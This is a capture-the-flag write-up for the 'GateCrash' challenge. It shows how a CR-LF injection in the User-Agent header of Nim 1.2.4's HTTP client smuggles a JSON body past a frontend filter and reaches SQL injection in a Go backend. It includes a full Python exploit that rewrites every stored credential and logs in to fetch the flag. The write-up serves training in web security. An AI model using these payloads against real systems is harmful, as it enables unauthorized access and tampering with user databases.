GateCrash

An administrative portal for the campus parking area has been identified, bypassing it’s authentication and gaining access to the gate control would allow us to unlock it and use staff vehicles for securing the campus premises way faster.

Backup of the challenge source code available here.

Introduction

This challenge gives us a login prompt where we need to insert valid credentials in order to get the flag.

By analyzing the source code, we discover that this application is composed of two parts:

  • A Nimble frontend, available at localhost:1337
  • A Go backend, not accessible by external users (i.e., all requests should go through the frontend)

The Go backend is also responsible for initializing a list of users that is stored in a SQLite database.

Frontend

The frontend seems pretty simple: the main endpoint / returns the HTML webpage showing the login screen, while the /user POST endpoint is used for the actual logic of the logic.

This endpoint expects username and password encoded as a normal login form (application/x-www-form-urlencoded). The function then makes sure that username and password do not contain SQL injection, and then forwards the request to the backend, this time encoding the login data as a JSON object.

If the login is successful (i.e., the backend replies with 200) the frontend sends the flag as a response. Here is the full implementation of the login function in the frontend:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
post "/user":
    let username = @"username"
    let password = @"password"

    if containsSqlInjection(username) or containsSqlInjection(password):
      resp msgjson("Malicious input detected")

    let userAgent = decodeUrl(request.headers["user-agent"])

    let jsonData = %*{
      "username": username,
      "password": password
    }

    let jsonStr = $jsonData

    let client = newHttpClient(userAgent)
    client.headers = newHttpHeaders({"Content-Type": "application/json"})

    let response = client.request(userApi & "/login", httpMethod = HttpPost, body = jsonStr)

    if response.code != Http200:
      resp msgjson(response.body.strip())
       
    resp msgjson(readFile("/flag.txt"))

The containsSqlInjection function is supposed to block all characters that are not alphanumeric. Its implementation seems correct: there is no way we can inject malicious payloads within the username and password fields.

Interestingly, the same user agent used in the request is also used in the request to the backend with no additional checks performed. More interestingly, the header is decoded with the decodeUrl function, which seems suspicious. Let’s see later if we can use this to our advantage.

Backend

During startup, the backend will seed the database with ten accounts having random usernames and passwords. Each value is a random 32-byte string. Passwords are stored in hashed form using bcrypt. Here, using brute force does not seem to be a good idea.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
func seedDatabase() {
	createTable := `
	CREATE TABLE IF NOT EXISTS users (
		id INTEGER PRIMARY KEY AUTOINCREMENT,
		username TEXT NOT NULL,
		password TEXT NOT NULL
	);
	`

	_, err := db.Exec(createTable)
	if err != nil {
		log.Fatal(err)
	}

	for i := 0; i < 10; i++ {
		newUser, _ := randomHex(32)
		newPass, _ := randomHex(32)

		hashedPassword, err := bcrypt.GenerateFromPassword([]byte(newPass), bcrypt.DefaultCost)
		if err != nil {
			fmt.Println(err)
			return
		}

		_, err = db.Exec("INSERT INTO users (username, password) VALUES ('" + newUser + "', '" + string(hashedPassword) + "');")
		if err != nil {
			fmt.Println(err)
			return
		}
	}
}

The frontend calls the backend’s /login endpoint containing the user’s login request. Here, the backend performs two checks. First, it ensures that the user agent is among the allowed ones:

1
2
3
4
5
6
7
8
9
10
11
for _, userAgent := range allowedUserAgents {
    if strings.Contains(r.Header.Get("User-Agent"), userAgent) {
        found = true
        break
    }
}

if !found {
    http.Error(w, "Browser not supported", http.StatusNotAcceptable)
    return
}

This is quite suspicious for two reasons:

  1. It doesn’t really make sense to check the user agent, as it is easy to bypass,
  2. The check doesn’t match the exact string, but only checks if one of the allowed user agents is included in the User-Agent header.

The second check is to verify that username and password are correct. This is done via a SQL query:

1
2
3
4
5
6
7
8
9
10
11
12
row := db.QueryRow("SELECT * FROM users WHERE username='" + user.Username + "';")
err = row.Scan(&user.ID, &user.Username, &user.Password)
if err != nil {
    http.Error(w, "Invalid username", http.StatusUnauthorized)
    return
}

err = bcrypt.CompareHashAndPassword([]byte(user.Password), []byte(userPassword))
if err != nil {
    http.Error(w, "Invalid password", http.StatusUnauthorized)
    return
}

Here, the query is not sanitized, which opens the doors for a SQL injection. However, username and password are checked by the frontend, and apparently there is no way to bypass that. Right?

Solution

Finding the vulnerability

By inspecting the Dockerfile, we can see that the frontend uses Nim 1.2.4. A quick google search shows that this version has a serious vulnerability:

In Nim 1.2.4, the standard library httpClient is vulnerable to a CR-LF injection in the target URL. An injection is possible if the attacker controls any part of the URL provided in a call (such as httpClient.get or httpClient.post), the User-Agent header value, or custom HTTP header names or values.

Great! So we can exploit this vulnerability to inject malicious payloads in the user agent header. But how can we use it to our advantage?

First, let’s try if this vulnerability can be really exploited:

1
2
3
4
5
6
7
8
9
10
11
12
13
def send_post_request(url, headers, data):
    x = requests.post(url, headers=headers, data=data)
    print(x.status_code)
    print(x.text)

headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    "User-Agent": "Mozilla/7.0%0d%0aHello: test",
}

payload = b"username=aaaa&password=aa"

send_post_request("http://localhost:1337/user", headers, payload)

Note that I encoded the \r\n characters into %0d%0a, otherwise the exploit would not work. In any case, the user agent is kindly decoded by the frontend before sending it to the backend (now it should be clear why they added that decodeUrl call!).

By instrumenting the source code in the backend, we can see that indeed the backend receives an additional Hello header! This is quite promising!

Performing the SQL Injection

Now, the question is: how to exploit the user-agent vulnerability to bypass the login and obtain the flag? Here the idea: what if we inject the body of the request (i.e., username and password) in the User-Agent header? This way we could bypass the containsSqlInjection checks and perform our SQL injection!

Since the frontend sends to the backend the body as JSON, our payload should be a JSON object containing the username and password.

Let’s first try something simple to see if it indeed works. First, let’s try to bypass the username. I modified the source code to print different messages when the checks for username or password fail, so we can distinguish them. This is the payload:

1
2
3
4
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    "User-Agent": "Mozilla/7.0%0d%0a%0d%0a{\"username\":\"' OR '1'='1\"}",
}

Trying to re-run the script and… it works!

Now, to bypass the password, an idea would be to add an user with username and password of our choice, which can we use later to login and get the flag. For some reason, adding users did not work for me, so instead I modified all existing users setting the same username a and password b.

Note: the password is hashed with bcrypt! So we have to store the hashed version of the password to the database. To get a valid hash of the password, we can simply reproduce the same Go code and print out the hashed version of b, which turns out it is equal to $2a$10$OMv7TKyoqShcmWryPU9syOMr6PygopMySxuTfTcWZHy7fo/VS577S (this includes the salt).

The last thing to be aware of is that the request from frontend to backend will have a Content-Length that depends on the input username and password (the real ones, not the ones injected via the user-agent). If we do not pass any body, or if our username and password are too short, the request to the backend will be truncated and part of our payload will be lost. Therefore, it is important to send a body large enough to the frontend.

Now we have everything we need to get the flag! Here is the complete exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

URL = "http://localhost:1337/user" # replace with remote server

def send_post_request(url, headers, data):
    x = requests.post(url, headers=headers, data=data)
    print(x.status_code)
    print(x.text)

# SQL Injection: set all users' usernames to `a` and passwords to `b`
send_post_request(
    URL,
    {
        'Content-Type': 'application/x-www-form-urlencoded',
        "User-Agent": "Mozilla/7.0%0d%0a%0d%0a{\"username\":\"'; UPDATE users SET username = 'a', password = '$2a$10$OMv7TKyoqShcmWryPU9syOMr6PygopMySxuTfTcWZHy7fo/VS577S' WHERE '1'='1\"}",
    },
    b"username=aaaa&password="+ b"a" * 1024 # the body should be at least as big as the payload in the user-agent header, otherwise errors will occur
)

# Getting the flag by performing a valid login
send_post_request(
    URL,
    {
        'Content-Type': 'application/x-www-form-urlencoded',
        "User-Agent": "Mozilla/7.0",
    },
    b"username=a&password=b"
)

Output:

1
2
3
4
200
{"msg": "Invalid username or password"}
200
{"msg": "HTB{d0_th3_d45h_0n_th3_p4r53r}"}

Stellar Vector is powered by the DistriNet research group and the KU Leuven.

© 2022-2024 All content published on this site are protected under copyright of the respective authors.